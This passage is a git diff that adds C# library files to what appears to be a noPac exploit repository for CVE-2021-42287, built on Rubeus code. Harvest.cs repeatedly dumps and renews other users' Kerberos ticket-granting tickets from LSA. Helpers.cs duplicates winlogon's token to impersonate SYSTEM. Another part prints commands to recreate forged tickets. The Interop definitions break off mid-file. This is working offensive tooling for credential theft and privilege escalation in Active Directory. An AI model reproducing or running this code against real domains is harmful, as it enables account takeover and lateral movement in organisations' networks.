String.Format("{0} /maxpassage:{1}", cmdOut, maxPassAge); + } + if (kvi.BadPasswordCount > 0) + { + cmdOut = String.Format("{0} /badpwdcount:{1}", cmdOut, kvi.BadPasswordCount); + } + if (kvi.LogonCount > 0) + { + cmdOut = String.Format("{0} /logoncount:{1}", cmdOut, kvi.LogonCount); + } + if (!String.IsNullOrEmpty(kvi.FullName.ToString())) + { + cmdOut = String.Format("{0} /displayname:\"{1}\"", cmdOut, kvi.FullName.ToString()); + } + if (!String.IsNullOrEmpty(kvi.LogonScript.ToString())) + { + cmdOut = String.Format("{0} /scriptpath:\"{1}\"", cmdOut, kvi.LogonScript.ToString()); + } + if (!String.IsNullOrEmpty(kvi.ProfilePath.ToString())) + { + cmdOut = String.Format("{0} /profilepath:\"{1}\"", cmdOut, kvi.ProfilePath.ToString()); + } + if (!String.IsNullOrEmpty(kvi.HomeDirectory.ToString())) + { + cmdOut = String.Format("{0} /homedir:\"{1}\"", cmdOut, kvi.HomeDirectory.ToString()); + } + if (!String.IsNullOrEmpty(kvi.HomeDirectoryDrive.ToString())) + { + cmdOut = String.Format("{0} /homedrive:\"{1}\"", cmdOut, kvi.HomeDirectoryDrive.ToString()); + } + if (!String.IsNullOrEmpty(kvi.LogonDomainName.ToString())) + { + cmdOut = String.Format("{0} /netbios:{1}", cmdOut, kvi.LogonDomainName.ToString()); + } + if (kvi.GroupCount > 0) + { + cmdOut = String.Format("{0} /groups:{1}", cmdOut, kvi.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + if (kvi.SidCount > 0) + { + cmdOut = String.Format("{0} /sids:{1}", cmdOut, kvi.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + if (kvi.ResourceGroupCount > 0) + { + cmdOut = String.Format("{0} /resourcegroupsid:{1} /resourcegroups:{2}", cmdOut, kvi.ResourceGroupDomainSid.GetValue().ToString(), kvi.ResourceGroupIds.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + if (!String.IsNullOrEmpty(kvi.LogonServer.ToString())) + { + cmdOut = String.Format("{0} /dc:{1}.{2}", cmdOut, kvi.LogonServer.ToString(), domain); + } + if ((Interop.PacUserAccountControl)kvi.UserAccountControl != Interop.PacUserAccountControl.NORMAL_ACCOUNT) + { + cmdOut = String.Format("{0} /uac:{1}", cmdOut, String.Format("{0}", (Interop.PacUserAccountControl)kvi.UserAccountControl).Replace(" ", "")); + } + if (!user.Equals(cName)) + { + cmdOut = String.Format("{0} /cname:{1}", cmdOut, cName); + } + if (!String.IsNullOrEmpty(s4uProxyTarget) && !String.IsNullOrEmpty(s4uTransitedServices)) + { + cmdOut = String.Format("{0} /s4uproxytarget:{1} /s4utransitiedservices:{2}", cmdOut, s4uProxyTarget, s4uTransitedServices); + } + if (includeAuthData) + { + cmdOut = String.Format("{0} /authdata", cmdOut); + } + + // print the command + Console.WriteLine("\r\n[*] Printing a command to recreate a ticket containing the information used within this ticket\r\n\r\n{0}\r\n", cmdOut); + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Harvest.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Harvest.cs new file mode 100644 index 0000000..e91738c --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Harvest.cs @@ -0,0 +1,214 @@ +using System; +using System.Collections.Generic; +using System.Threading; +using Rubeus.lib.Interop; + +namespace Rubeus +{ + public class Harvest + { + private readonly List harvesterTicketCache = new List(); + private readonly int monitorIntervalSeconds; + private readonly int displayIntervalSeconds; + private readonly string targetUser; + private readonly bool renewTickets; + private readonly string registryBasePath; + private readonly bool nowrap; + private readonly int runFor; + private DateTime lastDisplay; + private DateTime collectionStart; + + public Harvest(int monitorIntervalSeconds, int displayIntervalSeconds, bool renewTickets, string targetUser, string registryBasePath, bool nowrap, int runFor) + { + this.monitorIntervalSeconds = monitorIntervalSeconds; + this.displayIntervalSeconds = displayIntervalSeconds; + this.renewTickets = renewTickets; + this.targetUser = targetUser; + this.registryBasePath = registryBasePath; + this.lastDisplay = DateTime.Now; + this.collectionStart = DateTime.Now; + this.nowrap = nowrap; + this.runFor = runFor; + } + + public void HarvestTicketGrantingTickets() + { + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n"); + return; + } + + // get the current set of TGTs + while (true) + { + // extract out the TGTs (service = krbtgt_ w/ full data, silent enumeration + List sessionCreds = LSA.EnumerateTickets(true, new LUID(), "krbtgt", this.targetUser, null, true, true); + List currentTickets = new List(); + foreach(var sessionCred in sessionCreds) + { + foreach(var ticket in sessionCred.Tickets) + { + currentTickets.Add(ticket.KrbCred); + } + } + + if (renewTickets) { + // "harvest" mode - so don't display new tickets as they come in + AddTicketsToTicketCache(currentTickets, false); + + // check if we're at a new display interval + if(lastDisplay.AddSeconds(this.displayIntervalSeconds) < DateTime.Now.AddSeconds(1)) + { + this.lastDisplay = DateTime.Now; + // refresh/renew everything in the cache and display the working set + RefreshTicketCache(true); + Console.WriteLine("[*] Sleeping until {0} ({1} seconds) for next display\r\n", DateTime.Now.AddSeconds(displayIntervalSeconds), displayIntervalSeconds); + } + else + { + // refresh/renew everything in the cache, but don't display the working set + RefreshTicketCache(); + } + } + else + { + // "monitor" mode - display new ticketson harvest + AddTicketsToTicketCache(currentTickets, true); + } + + if (registryBasePath != null) + { + LSA.SaveTicketsToRegistry(harvesterTicketCache, registryBasePath); + } + + if (runFor > 0) + { + // compares execution start time + time entered to run the harvest for against current time to determine if we should exit + if (collectionStart.AddSeconds(this.runFor) < DateTime.Now) + { + Console.WriteLine("[*] Completed running for {0} seconds, exiting\r\n", runFor); + System.Environment.Exit(0); + } + } + + // If a runFor time is set and the monitoring interval is longer than the time remaining on the run, + // the sleep interval will be adjusted down to however much time left in the run there is. + if (runFor > 0 && collectionStart.AddSeconds(this.runFor) < DateTime.Now.AddSeconds(monitorIntervalSeconds)) + { + TimeSpan t = collectionStart.AddSeconds(this.runFor + 1) - DateTime.Now; + Thread.Sleep((int)t.TotalSeconds * 1000); + } + // else we'll do a normal monitor interval sleep + else + { + Thread.Sleep(monitorIntervalSeconds * 1000); + } + } + } + + private void AddTicketsToTicketCache(List tickets, bool displayNewTickets) + { + // adds a list of KRB_CREDs to the internal cache + // displayNewTickets - display new TGTs as they're added, e.g. "monitor" mode + + bool newTicketsAdded = false; + + if (tickets == null) + throw new ArgumentNullException(nameof(tickets)); + + foreach (var ticket in tickets) + { + var newTgtBytes = Convert.ToBase64String(ticket.RawBytes); + + var ticketInCache = false; + + foreach (var cachedTicket in harvesterTicketCache) + { + // check the base64 of the raw ticket bytes to see if we've seen it before + if (Convert.ToBase64String(cachedTicket.RawBytes) == newTgtBytes) + { + ticketInCache = true; + break; + } + } + + if (ticketInCache) + continue; + + var endTime = TimeZone.CurrentTimeZone.ToLocalTime(ticket.enc_part.ticket_info[0].endtime); + + if (endTime < DateTime.Now) + { + // skip if the ticket is expired + continue; + } + + harvesterTicketCache.Add(ticket); + newTicketsAdded = true; + + if (displayNewTickets) + { + Console.WriteLine($"\r\n[*] {DateTime.Now.ToUniversalTime()} UTC - Found new TGT:\r\n"); + LSA.DisplayTicket(ticket, 2, true, true, false, this.nowrap); + } + } + + if(displayNewTickets && newTicketsAdded) + Console.WriteLine("[*] Ticket cache size: {0}\r\n", harvesterTicketCache.Count); + } + + private void RefreshTicketCache(bool display = false) + { + // goes through each ticket in the cache, removes any tickets that have expired + // and renews any tickets that are going to expire before the next check interval + // then displays the current "active" ticket cache if "display" is passed as true + + if (display) + Console.WriteLine("\r\n[*] Refreshing TGT ticket cache ({0})\r\n", DateTime.Now); + + for (var i = harvesterTicketCache.Count - 1; i >= 0; i--) + { + var endTime = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].endtime); + var renewTill = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].renew_till); + var userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0]; + var domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm; + + // check if the ticket has now expired + if (endTime < DateTime.Now) + { + Console.WriteLine("[!] Removing TGT for {0}@{1}\r\n", userName, domainName); + // remove the ticket from the cache + Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count); + harvesterTicketCache.RemoveAt(i); + Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count); + } + + else + { + // check if the ticket is going to expire before the next interval checkin + // but we'll still be in the renew window + if ( (endTime < DateTime.Now.AddSeconds(monitorIntervalSeconds)) && (renewTill > DateTime.Now.AddSeconds(monitorIntervalSeconds)) ) + { + // renewal limit after checkin interval, so renew the TGT + userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0]; + domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm; + + Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domainName); + var bytes = Renew.TGT(harvesterTicketCache[i], "", false, "", false); + var renewedCred = new KRB_CRED(bytes); + harvesterTicketCache[i] = renewedCred; + } + + if (display) + LSA.DisplayTicket(harvesterTicketCache[i], 2, true, true, false, this.nowrap); + } + + } + + if (display) + Console.WriteLine("[*] Ticket cache size: {0}", harvesterTicketCache.Count); + } + + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Helpers.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Helpers.cs new file mode 100644 index 0000000..e1a22fc --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Helpers.cs @@ -0,0 +1,549 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text.RegularExpressions; +using System.Threading; +using System.DirectoryServices; +using System.DirectoryServices.Protocols; +using Rubeus.lib.Interop; + +namespace Rubeus +{ + public class Helpers + { + #region String Helpers + + public static IEnumerable Split(string text, int partLength) + { + // splits a string into partLength parts + if (text == null) { Console.WriteLine("[ERROR] Split() - singleLineString"); } + if (partLength < 1) { Console.WriteLine("[ERROR] Split() - 'columns' must be greater than 0."); } + + var partCount = Math.Ceiling((double)text.Length / partLength); + if (partCount < 2) + { + yield return text; + } + + for (int i = 0; i < partCount; i++) + { + var index = i * partLength; + var lengthLeft = Math.Min(partLength, text.Length - index); + var line = text.Substring(index, lengthLeft); + yield return line; + } + } + + private static Random random = new Random(); + public static string RandomString(int length) + { + const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + return new string(Enumerable.Repeat(chars, length) + .Select(s => s[random.Next(s.Length)]).ToArray()); + } + + public static bool IsBase64String(string s) + { + s = s.Trim(); + return (s.Length % 4 == 0) && Regex.IsMatch(s, @"^[a-zA-Z0-9\+/]*={0,3}$", RegexOptions.None); + } + + public static byte[] StringToByteArray(string hex) + { + // converts a rc4/AES/etc. string into a byte array representation + + if ((hex.Length % 16) != 0) + { + Console.WriteLine("\r\n[X] Hash must be 16, 32 or 64 characters in length\r\n"); + System.Environment.Exit(1); + } + + // yes I know this inefficient + return Enumerable.Range(0, hex.Length) + .Where(x => x % 2 == 0) + .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) + .ToArray(); + } + + //StackOverflow goodness + public static string ByteArrayToString(byte[] bytes) { + char[] c = new char[bytes.Length * 2]; + int b; + for (int i = 0; i < bytes.Length; i++) { + b = bytes[i] >> 4; + c[i * 2] = (char)(55 + b + (((b - 10) >> 31) & -7)); + b = bytes[i] & 0xF; + c[i * 2 + 1] = (char)(55 + b + (((b - 10) >> 31) & -7)); + } + return new string(c); + } + + public static DateTime? FutureDate(DateTime date, string increase) + { + int multiplier; + DateTime? returnDate = null; + try + { + multiplier = Int32.Parse(increase.Substring(0, increase.Length - 1)); + } + catch + { + Console.WriteLine("[X] Error invalid multiplier specified {0}, skipping.", increase.Substring(0, increase.Length - 1)); + return returnDate; + } + + string period = increase.Substring(increase.Length - 1); + + switch (period) + { + case "m": + returnDate = date.AddMinutes(multiplier); + break; + case "h": + returnDate = date.AddHours(multiplier); + break; + case "d": + returnDate = date.AddDays(multiplier); + break; + case "M": + returnDate = date.AddMonths(multiplier); + break; + case "y": + returnDate = date.AddYears(multiplier); + break; + } + + return returnDate; + } + + #endregion + + + #region Token Helpers + + public static bool IsHighIntegrity() + { + // returns true if the current process is running with adminstrative privs in a high integrity context + WindowsIdentity identity = WindowsIdentity.GetCurrent(); + WindowsPrincipal principal = new WindowsPrincipal(identity); + return principal.IsInRole(WindowsBuiltInRole.Administrator); + } + + public static bool GetSystem() + { + // helper to elevate to SYSTEM for Kerberos ticket enumeration via token impersonation + if (IsHighIntegrity()) + { + IntPtr hToken = IntPtr.Zero; + + // Open winlogon's token with TOKEN_DUPLICATE accesss so ca can make a copy of the token with DuplicateToken + Process[] processes = Process.GetProcessesByName("winlogon"); + IntPtr handle = processes[0].Handle; + + // TOKEN_DUPLICATE = 0x0002 + bool success = Interop.OpenProcessToken(handle, 0x0002, out hToken); + if (!success) + { + Console.WriteLine("[!] GetSystem() - OpenProcessToken failed!"); + return false; + } + + // make a copy of the NT AUTHORITY\SYSTEM token from winlogon + // 2 == SecurityImpersonation + IntPtr hDupToken = IntPtr.Zero; + success = Interop.DuplicateToken(hToken, 2, ref hDupToken); + if (!success) + { + Console.WriteLine("[!] GetSystem() - DuplicateToken failed!"); + return false; + } + + success = Interop.ImpersonateLoggedOnUser(hDupToken); + if (!success) + { + Console.WriteLine("[!] GetSystem() - ImpersonateLoggedOnUser failed!"); + return false; + } + + // clean up the handles we created + Interop.CloseHandle(hToken); + Interop.CloseHandle(hDupToken); + + if (!IsSystem()) + { + return false; + } + + return true; + } + else + { + return false; + } + } + + public static bool IsSystem() + { + // returns true if the current user is "NT AUTHORITY\SYSTEM" + var currentSid = WindowsIdentity.GetCurrent().User; + return currentSid.IsWellKnown(WellKnownSidType.LocalSystemSid); + } + + public static LUID GetCurrentLUID() + { + // helper that returns the current logon session ID by using GetTokenInformation w/ TOKEN_INFORMATION_CLASS + + var TokenInfLength = 0; + var luid = new LUID(); + + // first call gets lenght of TokenInformation to get proper struct size + var Result = Interop.GetTokenInformation(WindowsIdentity.GetCurrent().Token, Interop.TOKEN_INFORMATION_CLASS.TokenStatistics, IntPtr.Zero, TokenInfLength, out TokenInfLength); + + var TokenInformation = Marshal.AllocHGlobal(TokenInfLength); + + // second call actually gets the information + Result = Interop.GetTokenInformation(WindowsIdentity.GetCurrent().Token, Interop.TOKEN_INFORMATION_CLASS.TokenStatistics, TokenInformation, TokenInfLength, out TokenInfLength); + + if (Result) + { + var TokenStatistics = (Interop.TOKEN_STATISTICS)Marshal.PtrToStructure(TokenInformation, typeof(Interop.TOKEN_STATISTICS)); + luid = new LUID(TokenStatistics.AuthenticationId); + } + else + { + var lastError = Interop.GetLastError(); + Console.WriteLine("[X] GetTokenInformation error: {0}", lastError); + Marshal.FreeHGlobal(TokenInformation); + } + + return luid; + } + + public static LUID CreateProcessNetOnly(string commandLine, bool show = false) + { + // creates a hidden process with random /netonly credentials, + // displayng the process ID and LUID, and returning the LUID + + // Note: the LUID can be used with the "ptt" action + + Interop.PROCESS_INFORMATION pi; + var si = new Interop.STARTUPINFO(); + si.cb = Marshal.SizeOf(si); + if (!show) + { + // hide the window + si.wShowWindow = 0; + si.dwFlags = 0x00000001; + } + Console.WriteLine("[*] Showing process : {0}", show); + var luid = new LUID(); + + // 0x00000002 == LOGON_NETCREDENTIALS_ONLY + if (!Interop.CreateProcessWithLogonW(Helpers.RandomString(8), Helpers.RandomString(8), Helpers.RandomString(8), 0x00000002, commandLine, String.Empty, 0, 0, null, ref si, out pi)) + { + var lastError = Interop.GetLastError(); + Console.WriteLine("[X] CreateProcessWithLogonW error: {0}", lastError); + return new LUID(); + } + + Console.WriteLine("[+] Process : '{0}' successfully created with LOGON_TYPE = 9", commandLine); + Console.WriteLine("[+] ProcessID : {0}", pi.dwProcessId); + + var hToken = IntPtr.Zero; + // TOKEN_QUERY == 0x0008 + var success = Interop.OpenProcessToken(pi.hProcess, 0x0008, out hToken); + if (!success) + { + var lastError = Interop.GetLastError(); + Console.WriteLine("[X] OpenProcessToken error: {0}", lastError); + return new LUID(); + } + + var TokenInfLength = 0; + bool Result; + + // first call gets lenght of TokenInformation to get proper struct size + Result = Interop.GetTokenInformation(hToken, Interop.TOKEN_INFORMATION_CLASS.TokenStatistics, IntPtr.Zero, TokenInfLength, out TokenInfLength); + + var TokenInformation = Marshal.AllocHGlobal(TokenInfLength); + + // second call actually gets the information + Result = Interop.GetTokenInformation(hToken, Interop.TOKEN_INFORMATION_CLASS.TokenStatistics, TokenInformation, TokenInfLength, out TokenInfLength); + + if (Result) + { + var TokenStats = (Interop.TOKEN_STATISTICS)Marshal.PtrToStructure(TokenInformation, typeof(Interop.TOKEN_STATISTICS)); + luid = new LUID(TokenStats.AuthenticationId); + Console.WriteLine("[+] LUID : {0}", luid); + } + else + { + var lastError = Interop.GetLastError(); + Console.WriteLine("[X] GetTokenInformation error: {0}", lastError); + Marshal.FreeHGlobal(TokenInformation); + Interop.CloseHandle(hToken); + return new LUID(); + } + + Marshal.FreeHGlobal(TokenInformation); + Interop.CloseHandle(hToken); + + return luid; + } + + #endregion + + + #region File Helpers + + static public string GetBaseFromFilename(string filename) + { + return SplitBaseAndExtension(filename)[0]; + } + + static public string GetExtensionFromFilename(string filename) + { + return SplitBaseAndExtension(filename)[1]; + } + + // Splits filename by into a basename and extension + // Returns an array representing [basename, extension] + static public string[] SplitBaseAndExtension(string filename) + { + string[] result = { filename, "" }; + string[] splitName = filename.Split('.'); + + if (splitName.Length > 1) + { + result[1] = $".{splitName.Last()}"; + result[0] = filename.Substring(0, filename.Length - result[1].Length); + } + + return result; + } + + // Great method from http://forcewake.me/today-i-learned-sanitize-file-name-in-csharp/ + static public string MakeValidFileName(string name) + { + string invalidChars = new string(Path.GetInvalidFileNameChars()); + string escapedInvalidChars = Regex.Escape(invalidChars); + string invalidRegex = string.Format(@"([{0}]*\.+$)|([{0}]+)", escapedInvalidChars); + + return Regex.Replace(name, invalidRegex, "_"); + } + + #endregion + + + #region Misc Helpers + + public static void RandomDelayWithJitter(int delay, int jitter) + { + // given delay == ms and jitter = %, sleep for that amount + + var timeToSleep = 0; + + if (delay == 0) + { + timeToSleep = 0; + } + else if (jitter == 0) + { + timeToSleep = delay; + } + else + { + var rnd = new Random(); + var percent = (int)Math.Floor((double)(jitter * (delay / 100))); + timeToSleep = delay + rnd.Next(-percent, percent); + } + + if (timeToSleep != 0) + { + Thread.Sleep(timeToSleep); + } + } + + static public int SearchBytePattern(byte[] pattern, byte[] bytes) + { + List positions = new List(); + int patternLength = pattern.Length; + int totalLength = bytes.Length; + byte firstMatchByte = pattern[0]; + for (int i = 0; i < totalLength; i++) + { + if (firstMatchByte == bytes[i] && totalLength - i >= patternLength) + { + byte[] match = new byte[patternLength]; + Array.Copy(bytes, i, match, 0, patternLength); + if (match.SequenceEqual(pattern)) + { + return i; + } + } + } + return 0; + } + + static public bool WriteBytesToFile(string filename, byte[] data, bool overwrite = false) + { + bool result = true; + string filePath = Path.GetFullPath(filename); + + try + { + if (!overwrite) + { + if (File.Exists(filePath)) + { + throw new Exception(String.Format("{0} already exists! Data not written to file.\r\n", filePath)); + } + } + File.WriteAllBytes(filePath, data); + } + catch (Exception e) + { + Console.WriteLine("\r\nException: {0}", e.Message); + result = false; + } + + return result; + } + + // variables specifying non default AD attribute types + private static string[] stringArrayAttributeName = + { + "serviceprincipalname", + "memberof" + }; + private static string[] datetimeAttributes = + { + "lastlogon", + "lastlogoff", + "pwdlastset", + "badpasswordtime", + "lastlogontimestamp", + }; + private static string[] dateStringAttributes = + { + "whenchanged", + "whencreated" + }; + private static string[] intAttributes = + { + "useraccountcontrol", + "msds-supportedencryptiontypes" + }; + + static public List> GetADObjects(List searchResults) + { + var ActiveDirectoryObjects = new List>(); + + foreach (SearchResultEntry result in searchResults) + { + IDictionary ActiveDirectoryObject = new Dictionary(); + + foreach (string attribute in result.Attributes.AttributeNames) + { + // for string arrays like serviceprincipalname + if (stringArrayAttributeName.Contains(attribute)) + { + ActiveDirectoryObject.Add(attribute, result.Attributes[attribute].GetValues(typeof(string))); + } + // datetime attributes + else if (datetimeAttributes.Contains(attribute)) + { + if (Int64.Parse((string)result.Attributes[attribute].GetValues(typeof(string))[0]) != 0) + { + ActiveDirectoryObject.Add(attribute, DateTime.FromFileTimeUtc(Int64.Parse((string)result.Attributes[attribute].GetValues(typeof(string))[0]))); + } + else + { + ActiveDirectoryObject.Add(attribute, DateTime.MinValue); + } + } + // deal with objectsid + else if (attribute.Equals("objectsid")) + { + ActiveDirectoryObject.Add(attribute, new SecurityIdentifier((byte[])result.Attributes[attribute].GetValues(typeof(byte[]))[0], 0).Value); + } + // deal with ints + else if (intAttributes.Contains(attribute)) + { + ActiveDirectoryObject.Add(attribute, Int32.Parse((string)result.Attributes[attribute].GetValues(typeof(string))[0])); + } + // default action convert to string + else + { + ActiveDirectoryObject.Add(attribute, result.Attributes[attribute].GetValues(typeof(string))[0]); + } + } + + ActiveDirectoryObjects.Add(ActiveDirectoryObject); + } + + return ActiveDirectoryObjects; + } + + static public List> GetADObjects(SearchResultCollection searchResults) + { + var ActiveDirectoryObjects = new List>(); + + foreach (SearchResult result in searchResults) + { + IDictionary ActiveDirectoryObject = new Dictionary(); + + foreach (string attribute in result.Properties.PropertyNames) + { + // for string arrays like serviceprincipalname + if (stringArrayAttributeName.Contains(attribute)) + { + List values = new List(); + foreach (var value in result.Properties[attribute]) + { + values.Add(value.ToString()); + } + ActiveDirectoryObject.Add(attribute, values.ToArray()); + } + // datetime attributes + else if (datetimeAttributes.Contains(attribute)) + { + if (Int64.Parse(result.Properties[attribute][0].ToString()) != 0) + { + ActiveDirectoryObject.Add(attribute, DateTime.FromFileTimeUtc((long)result.Properties[attribute][0])); + } + else + { + ActiveDirectoryObject.Add(attribute, DateTime.MinValue); + } + } + // deal with objectsid + else if (attribute.Equals("objectsid")) + { + ActiveDirectoryObject.Add(attribute, new SecurityIdentifier((byte[])result.Properties[attribute][0], 0).Value); + } + // deal with ints + else if (intAttributes.Contains(attribute)) + { + ActiveDirectoryObject.Add(attribute, result.Properties[attribute][0]); + } + // default action convert to string + else + { + ActiveDirectoryObject.Add(attribute, result.Properties[attribute][0].ToString()); + } + } + + ActiveDirectoryObjects.Add(ActiveDirectoryObject); + } + + return ActiveDirectoryObjects; + } + + #endregion + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Interop.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Interop.cs new file mode 100644 index 0000000..b0c5f8f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Interop.cs @@ -0,0 +1,1652 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using Rubeus.lib.Interop; + + +namespace Rubeus +{ + public class Interop + { + // constants + + // From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L61 + public const int KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP = 1; + public const int KRB_KEY_USAGE_AS_REP_TGS_REP = 2; + public const int KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3; + public const int KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA = 4; + public const int KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR = 7; + public const int KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8; + public const int KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11; + public const int KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13; + public const int KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART = 14; + public const int KRB_KEY_USAGE_KRB_NON_KERB_SALT = 16; + public const int KRB_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT = 17; + public const int KRB_KEY_USAGE_PA_S4U_X509_USER = 26; + + // Enums + + [Flags] + public enum TicketFlags : UInt32 + { + reserved = 2147483648, + forwardable = 0x40000000, + forwarded = 0x20000000, + proxiable = 0x10000000, + proxy = 0x08000000, + may_postdate = 0x04000000, + postdated = 0x02000000, + invalid = 0x01000000, + renewable = 0x00800000, + initial = 0x00400000, + pre_authent = 0x00200000, + hw_authent = 0x00100000, + ok_as_delegate = 0x00040000, + anonymous = 0x00020000, + name_canonicalize = 0x00010000, + //cname_in_pa_data = 0x00040000, + enc_pa_rep = 0x00010000, + reserved1 = 0x00000001, + empty = 0x00000000 + // TODO: constrained delegation? + } + + // TODO: order flipped? https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/KerberosV5Spec2.asn#L167-L190 + // Correcting some of these from here, which packet captures suggest is correct: https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KdcOptions.cs + [Flags] + public enum KdcOptions : uint + { + VALIDATE = 0x00000001, + RENEW = 0x00000002, + UNUSED29 = 0x00000004, + ENCTKTINSKEY = 0x00000008, + RENEWABLEOK = 0x00000010, + DISABLETRANSITEDCHECK = 0x00000020, + UNUSED16 = 0x0000FFC0, + CONSTRAINED_DELEGATION = 0x00020000, + CANONICALIZE = 0x00010000, + CNAMEINADDLTKT = 0x00004000, + OK_AS_DELEGATE = 0x00040000, + REQUEST_ANONYMOUS = 0x00008000, + UNUSED12 = 0x00080000, + OPTHARDWAREAUTH = 0x00100000, + PREAUTHENT = 0x00200000, + INITIAL = 0x00400000, + RENEWABLE = 0x00800000, + UNUSED7 = 0x01000000, + POSTDATED = 0x02000000, + ALLOWPOSTDATE = 0x04000000, + PROXY = 0x08000000, + PROXIABLE = 0x10000000, + FORWARDED = 0x20000000, + FORWARDABLE = 0x40000000, + RESERVED = 0x80000000 + } + + // from https://tools.ietf.org/html/rfc4120#section-7.5.7 + public enum KERB_MESSAGE_TYPE : long + { + AS_REQ = 10, + AS_REP = 11, + TGS_REQ = 12, + TGS_REP = 13, + AP_REQ = 14, + AP_REP = 15, + TGT_REQ = 16, // KRB-TGT-REQUEST for U2U + TGT_REP = 17, // KRB-TGT-REPLY for U2U + SAFE = 20, + PRIV = 21, + CRED = 22, + ERROR = 30 + } + + // from https://tools.ietf.org/html/rfc3961 + public enum KERB_ETYPE : Int32 + { + des_cbc_crc = 1, + des_cbc_md4 = 2, + des_cbc_md5 = 3, + des3_cbc_md5 = 5, + des3_cbc_sha1 = 7, + dsaWithSHA1_CmsOID = 9, + md5WithRSAEncryption_CmsOID = 10, + sha1WithRSAEncryption_CmsOID = 11, + rc2CBC_EnvOID = 12, + rsaEncryption_EnvOID = 13, + rsaES_OAEP_ENV_OID = 14, + des_ede3_cbc_Env_OID = 15, + des3_cbc_sha1_kd = 16, + aes128_cts_hmac_sha1 = 17, + aes256_cts_hmac_sha1 = 18, + rc4_hmac = 23, + rc4_hmac_exp = 24, + subkey_keymaterial = 65, + old_exp = -135 + } + + [Flags] + public enum SUPPORTED_ETYPE : Int32 + { + RC4_HMAC_DEFAULT = 0x0, + DES_CBC_CRC = 0x1, + DES_CBC_MD5 = 0x2, + RC4_HMAC = 0x4, + AES128_CTS_HMAC_SHA1_96 = 0x08, + AES256_CTS_HMAC_SHA1_96 = 0x10 + } + + public enum KADMIN_PASSWD_ERR : UInt32 + { + KRB5_KPASSWD_SUCCESS = 0, + KRB5_KPASSWD_MALFORMED = 1, + KRB5_KPASSWD_HARDERROR = 2, + KRB5_KPASSWD_AUTHERROR = 3, + KRB5_KPASSWD_SOFTERROR = 4, + KRB5_KPASSWD_ACCESSDENIED = 5, + KRB5_KPASSWD_BAD_VERSION = 6, + KRB5_KPASSWD_INITIAL_FLAG_NEEDED = 7 + } + + public enum KERB_CHECKSUM_ALGORITHM + { + KERB_CHECKSUM_NONE = 0, + KERB_CHECKSUM_RSA_MD4 = 2, + KERB_CHECKSUM_RSA_MD5 = 7, + KERB_CHECKSUM_HMAC_SHA1_96_AES128 = 15, + KERB_CHECKSUM_HMAC_SHA1_96_AES256 = 16, + KERB_CHECKSUM_DES_MAC = -133, + KERB_CHECKSUM_HMAC_MD5 = -138, + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_CHECKSUM + { + public int Type; + public int Size; + public int Flag; + public IntPtr Initialize; + public IntPtr Sum; + public IntPtr Finalize; + public IntPtr Finish; + public IntPtr InitializeEx; + public IntPtr unk0_null; + } + + // from https://tools.ietf.org/html/rfc4120#section-6.2 + public enum PRINCIPAL_TYPE : long + { + NT_UNKNOWN = 0, + NT_PRINCIPAL = 1, + NT_SRV_INST = 2, + NT_SRV_HST = 3, + NT_SRV_XHST = 4, + NT_UID = 5, + NT_X500_PRINCIPAL = 6, + NT_SMTP_NAME = 7, + NT_ENTERPRISE = 10 + } + + // from https://github.com/ps4dev/freebsd-include-mirror/blob/master/krb5_asn1.h + public enum PADATA_TYPE : UInt32 + { + NONE = 0, + TGS_REQ = 1, + AP_REQ = 1, + ENC_TIMESTAMP = 2, + PW_SALT = 3, + ENC_UNIX_TIME = 5, + SANDIA_SECUREID = 6, + SESAME = 7, + OSF_DCE = 8, + CYBERSAFE_SECUREID = 9, + AFS3_SALT = 10, + ETYPE_INFO = 11, + SAM_CHALLENGE = 12, + SAM_RESPONSE = 13, + PK_AS_REQ_19 = 14, + PK_AS_REP_19 = 15, + PK_AS_REQ_WIN = 15, + PK_AS_REQ = 